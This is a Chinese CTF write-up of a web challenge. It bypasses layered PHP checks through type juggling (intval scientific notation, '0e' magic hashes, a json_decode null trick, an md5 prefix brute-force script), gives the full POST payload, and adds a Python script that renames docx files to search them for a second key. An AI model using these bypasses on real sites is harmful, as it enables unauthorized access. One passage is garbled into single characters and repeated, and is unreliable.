前言:大佬們太強了、隊友太強了,我只能寫寫被大佬們打爆的題來摸魚
文章目錄
- 尋寶
- 一、KEY1獲取方式bypass
- 二、KEY2獲取
- 總結
尋寶
進去發現有兩個輸入框,有點像是需要兩個密碼

一、KEY1獲取方式bypass
具體步驟:

第一層:要求非純數字,利用PHP的格式轉換(字串比較讀取)$num1=1025a即可
第二層:繞過intval(),方式利用科學計數法繞過
n
u
m
2
=
5
e
5
第
三
層
:
利
用
腳
本
跑
m
d
5
即
可
,
num2=5e5 第三層:利用腳本跑md5即可,
num2=5e5第三層:利用腳本跑md5即可,num3=61823470
(附腳本:
)
<?php
for ($a=60000000;$a<70000000;$a++)
{
if(substr(md5($a),0,7)=='4bf21cd')
{
echo $a;
}
}
?>
`
第四層:科學計數法繞過:$num4=0e00000
第五層:JSON 格式的字串,要求為空,這個json_decode在決議非json格式的時候會自動置空NULL,所以很容易繞過 $num5=[
最后POST格式傳參即可:
ppp[number1]=1025a&ppp[number2]=5e5&ppp[number3]=61823470&ppp[number4]=0e00000&ppp[number5]=[
response:
第一層第二層第三層第四層第五層KEY1{e1e1d3d40573127e9ee0480caf1283d6}
得到KEY1,
二、KEY2獲取
查看任意一個docx檔案,發現一堆有大小寫字母加數字組合,猜測KEY2隱藏在其中的某一個docx檔案內部,而且是base64編碼后的結果,所以使用python腳本來決議檔案
結果發現base64解碼后跑不出來KEY2,猜測KEY2應該是直接放在了某個docx檔案下面
所以修改后的腳本如下:
import os
import docx
import base64
for k in range(20):
for j in range(20):
path= '../5.{0}/VR_{1}'.format(k+1,j+1) #隨著腳本位置而修改
#獲取該目錄下所有檔案,存入串列中
fileList=os.listdir(path)
n=0
for i in fileList:
try:
#設定舊檔案名(就是路徑+檔案名)
oldname=path+ os.sep + fileList[n] # os.sep添加系統分隔符
#設定新檔案名
newname=path + os.sep +'c'+str(n+1)+'.docx'
os.rename(oldname,newname) #用os模塊中的rename方法對檔案改名
#print(oldname,'======>',newname)
file_name=newname
file=docx.Document(file_name)
txt=''
for para in file.paragraphs:
#print(para.text)
#txt=str(base64.b64decode(para.text))
txt=para.text
if("KEY2" in txt):
print(txt)
except:
pass
n+=1
=》KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}
flag值:flag{798ef6da-41a9-4a14-a8a8-8b6351f3e162}
總結
算是第一次正式意義上參賽吧,之前都是看看題有簽到就溜了,這次雖然只弄了一道題,還有很多題是只弄了一半甚至一半都不到~ 下次加把勁吧!轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/287879.html
標籤:其他
